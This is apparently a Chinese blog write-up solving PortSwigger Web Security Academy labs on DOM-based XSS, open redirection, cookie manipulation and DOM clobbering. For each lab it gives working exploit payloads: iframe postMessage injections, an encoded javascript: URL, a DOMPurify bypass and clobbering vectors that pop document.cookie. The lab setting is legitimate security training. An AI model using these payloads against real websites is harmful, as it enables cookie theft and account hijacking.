zoukankan      html  css  js  c++  java
  • Portswigger web security academy:DOM-based vulnerabilities

    DOM-based vulnerabilities

    材料里没列完,直接做题吧

    1 - DOM XSS using web messages

    • 题目描述

      • 这个lab有一个简单的web-message漏洞
    • 要求

      • 利用exploit server给网站发送一个信息,使其执行alert(document.cookie)
    • 解题过程

      • 查看源码,发现如下代码

        window.addEventListener('message', function(e) {
        	document.getElementById('ads').innerHTML = e.data;
        })
        
      • MDN看了下web message,是一个跨源通信的函数,可以通过iframe来实现这个功能

      • 构造exp

        • 先尝试了用iframe+script标签的形式,但是发现script标签不会等iframe加载完,所以放进了iframe
        • postMessage()的第二个参数使用通配符,允许目标站点为任意域(防止CORS被阻止)
        • 关于post进去的数据也进行了尝试(chrome),svg,script都不行,想了一下应该与标签的解析流有关(插入的标签没有被解析),这里用img
        <iframe src="https://ac131fb91f0c536f80f50dc100070028.web-security-academy.net/" onload='this.contentWindow.postMessage("<img src=x onerror=alert(document.cookie)>","*")'>
        

    2 - DOM XSS using web messages and a JavaScript URL

    • 题目描述

      • 此lab存在DOM-based跳转漏洞(通过web message诱发)
    • 要求

      • 构造页面,使访问者执行alert(document.cookie)
    • 解题过程

      • 还是先找代码

        window.addEventListener('message', function(e) {
            var url = e.data;  
            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {  //传入的url包含http(s):
                location.href = url;// 跳转
            }
        }, false);
        
        • 弹窗可以通过伪javascript伪协议调用

          let url = 'javscript:alert()-"http:"';
          location.href = url;
          
          // 但是这样不好写进去,因为单双引号(所以需要借助编码环境进行编码,事件内部是js解析环境,会先进行unicode解码,所以可以进行编码
          this.contentWindow.postMessage('javascript:alert(document.cookie)-"http:"',"*")
          
      • 构造exp

        <iframe src="https://ac901fa21ee08d748031385e00110021.web-security-academy.net/" onload='&#116;&#104;&#105;&#115;&#46;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#87;&#105;&#110;&#100;&#111;&#119;&#46;&#112;&#111;&#115;&#116;&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#40;&#39;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41;&#45;&#34;&#104;&#116;&#116;&#112;&#58;&#34;&#39;&#44;&#34;&#42;&#34;&#41;'>
        

    3 - DOM XSS using web messages and JSON.parse

    • 题目描述

      • 此lab使用了web messageing并把消息当作json解析
    • 要求

      • 构造页面,使访问者执行alert(document.cookie)
    • 解题过程

      • 先看代码

        window.addEventListener('message', function(e) {
            var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
            document.body.appendChild(iframe);
            try {
                d = JSON.parse(e.data);
            } catch(e) {
                return;
            }
            switch(d.type) {
                case "page-load":
                    ACMEplayer.element.scrollIntoView();
                    break;
                case "load-channel":
                    ACMEplayer.element.src = d.url; // 如果d.type=="load-channel",则讲url赋给iframe
                    break;
                case "player-height-changed":
                    ACMEplayer.element.style.width = d.width + "px";
                    ACMEplayer.element.style.height = d.height + "px";
                    break;
            }
        }, false);
        
      • 构造exp

        <iframe src="https://ac0b1f8a1e418d0a802e3c2100ea005f.web-security-academy.net/" onload='var a={"type":"load-channel","url":"javascript:alert(document.cookie)"};this.contentWindow.postMessage(JSON.stringify(a),"*")'>
        
        • 这里需要用JSON.stringify()把json转换成字符串,不能直接传输对象

    4 - DOM-based open redirection

    • 题目描述

      • 此lab有一个DOM型的url跳转漏洞
    • 要求

      • 把受害者拐进exploit server
    • 解题过程

      • 点进一个详情页面,发现返回链接比较特殊

        <a href="#" onclick="returnUrl = /url=(https?://.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = '/';">Back to Blog</a>
        
        • location(地址栏里全部的东西,包括#后面的内容)用正则url=(https?://.+)匹配,如果能匹配到,就跳转到匹配到的url
      • 构造exp

        • 这块想了半天,把受害者拐进exploit server需要点击按钮,总不能继续xss吧,然后去看了solution,自己就是受害者???
        • 第二个,使用#也可以达到目的,但是不给过,只能用&(猜测后端通过检测url参数判断)
        https://ac891f911e4e7dcb80201fd4009d0060.web-security-academy.net/post?postId=4#url=https://acc61fdf1e577d2480831f0b019e002b.web-security-academy.net
        
        solution: # -> &
        
    • 题目描述

      • 此lab存在DOM型客户端cookie修改
    • 要求

      • 插入一个可以实现XSS(弹cookie)的cookie
    • 解题过程

      • 在商品详情页面看到如下代码

        document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
        

        可以通过&/#插入内容

      • 在主页,发现在访问过之后,会出现浏览记录,而且会被'逃逸

        <a href="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#" -alert()-'="">'&gt;Last viewed product</a>
        
        之前访问的是https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'-alert()-'>
        
      • 构造exp

        <iframe src="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'%3E%3Csvg/onload=alert(document.cookie)%3E" onload="this.src='https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/'">
        

    6 - Exploiting DOM clobbering to enable XSS

    • 题目描述

      • 评论功能点允许安全的HTML
    • 要求

      • 构造HTML注入,污染(clobber)变量?,调用alert()
      • hint:预期解只在chrome有效
    • 解题过程

      • 在详情页面看到函数调用loadComments('/post/comment'),看看函数定义

        function loadComments(postCommentPath) {
            let xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    let comments = JSON.parse(this.responseText);
                    displayComments(comments);
                }
            };
            xhr.open("GET", postCommentPath + window.location.search);
            xhr.send();
        
            function escapeHTML(data) {
                return data.replace(/[<>'"]/g, function(c){
                    return '&#' + c.charCodeAt(0) + ';';
                })
            }
        
            function displayComments(comments) {
                let userComments = document.getElementById("user-comments");
        
                for (let i = 0; i < comments.length; ++i)
                {
                    comment = comments[i];
                    let commentSection = document.createElement("section");
                    commentSection.setAttribute("class", "comment");
        
                    let firstPElement = document.createElement("p");
        
                    let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
                    let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
        
                    let divImgContainer = document.createElement("div");
                    divImgContainer.innerHTML = avatarImgHTML
        
                    if (comment.author) {
                        if (comment.website) {
                            let websiteElement = document.createElement("a");
                            websiteElement.setAttribute("id", "author");
                            websiteElement.setAttribute("href", comment.website);
                            firstPElement.appendChild(websiteElement)
                        }
        
                        let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                        firstPElement.innerHTML = newInnerHtml
                    }
        
                    if (comment.date) {
                        let dateObj = new Date(comment.date)
                        let month = '' + (dateObj.getMonth() + 1);
                        let day = '' + dateObj.getDate();
                        let year = dateObj.getFullYear();
        
                        if (month.length < 2)
                            month = '0' + month;
                        if (day.length < 2)
                            day = '0' + day;
        
                        dateStr = [day, month, year].join('-');
        
                        let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                        firstPElement.innerHTML = newInnerHtml
                    }
        
                    firstPElement.appendChild(divImgContainer);
        
                    commentSection.appendChild(firstPElement);
        
                    if (comment.body) {
                        let commentBodyPElement = document.createElement("p");
                        commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
        
                        commentSection.appendChild(commentBodyPElement);
                    }
                    commentSection.appendChild(document.createElement("p"));
        
                    userComments.appendChild(commentSection);
                }
            }
        };
        
      • 挨着看了一遍,感觉29、30行可能存在问题,但是不知道怎么利用

        • 试了一下在提交参数的时候增加avatar,没有用
      • 放着先测一下能用哪些标签

        • a
          audio
          b
          big
          br
          button
          canvas
          center
          cite
          code
          datalist
          dfn
          del
          details
          filedset
          h1
          hr
          i
          input
          ins
          kdb
          label
          li
          mark
          marquee
          meter
          optgroup
          progress
          q
          rp
          s
          samp
          select 
          svg
          textarea
          u
          
          • 有点多,挑一个最喜欢的svg测测

          • 然后发现,返回的数据包是没有过滤的,过滤全部在前端的DOMPurify.sanitize()中进行

          • 本以为这条路走不通了,然后在搜这个函数的时候看到一篇Bypass DOMPurify的文章

            <form>
            <math><mtext>
            </form><form>
            <mglyph>
            <style></math><img src onerror=alert(1)>
            
      • 回到代码看看

        • 如果能找到给windows.属性赋值的方法(通过html或请求),就可以通过以下代码进行XSS

          let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
          let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
          
        • 去看了下材料DOM clobber 里面介绍了一种方法,

          <script>
           window.onload = function(){
              let someObject = window.someObject || {};
              let script = document.createElement('script');
              script.src = someObject.url;
              document.body.appendChild(script);
           };
          </script>
          <!--
          To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
          As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.
          -->
          
          <!-- 要修改 window.someObject.url  则使id=someObject  name=url  href=目标内容 -->
          <a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
          
        • 测试发现javascript:伪协议被过滤

        • 试试能不能逃逸出字符串,最后还是看了solution,用的&quot;("的html实体编码)

      • 构造exp(调用alert()函数就行了,加document.cookie会被过滤

        <a id=defaultAvatar><a id=defaultAvatar name=avatar href="&quot;onerror=alert()//">
        

    7 - Clobbering DOM attributes to bypass HTML filters

    • 题目描述

      • 此lab使用了HTMLJanitor库,可以通过DOM clobber构造攻击向量bypass过滤器并调用alert(document.cookie)
    • 要求

      • 给受害者发送一个自动执行的攻击向量,alert(document.cookie)
      • intended solution for chrome
    • 解题过程

      • 进详情页面看了看代码,没有上一题的直接引用window.object/document.object,此外,引用了HTMLJanitor库

      • 反复看了几遍HTMLJanitor的代码,没找到突破口在哪里,于是去看了solution + Donx发现的DOM clobber的介绍

        <form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>
        <!-- 覆盖 使 x.attributes == undefined  -->
            
        <iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(someArgument=>this.src=this.src+'#x',500)">
        
        • 关键代码

          for (var a = 0; a < node.attributes.length; a += 1) {
            var attr = node.attributes[a];
          
            if (shouldRejectAttr(attr, allowedAttrs, node)) {
              node.removeAttribute(attr.name);
              // Shift the array to continue looping.
              a = a - 1;
            }
          }
          
          // Sanitize children
          this._sanitize(document, node);
          
          function shouldRejectAttr(attr, allowedAttrs, node) {
            var attrName = attr.name.toLowerCase();
          
            if (allowedAttrs === true) {
              return false;
            } else if (typeof allowedAttrs[attrName] === "function") {
              return !allowedAttrs[attrName](attr.value, node);
            } else if (typeof allowedAttrs[attrName] === "undefined") {
              return true;
            } else if (allowedAttrs[attrName] === false) {
              return true;
            } else if (typeof allowedAttrs[attrName] === "string") {
              return allowedAttrs[attrName] !== attr.value;
            }
          
            return false;
          }
          
        • 使用<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>进行DOM clobber,使得form.attributes == undefined

        • 在检测的代码中可以看到,当node.attributes == undefined时,会绕过removeAttribute(),保留下标签中的事件

      • 之后的iframe标签是用来触发onfocus的,必须等到加载评论的ajax结束

  • 相关阅读:
    CSS3 target伪类简介
    不用position,让div垂直居中
    css3 在线编辑工具 连兼容都写好了
    a标签伪类的顺序
    oncopy和onpaste
    【leetcode】1523. Count Odd Numbers in an Interval Range
    【leetcode】1518. Water Bottles
    【leetcode】1514. Path with Maximum Probability
    【leetcode】1513. Number of Substrings With Only 1s
    【leetcode】1512. Number of Good Pairs
  • 原文地址:https://www.cnblogs.com/R3col/p/14486757.html
Copyright © 2011-2022 走看看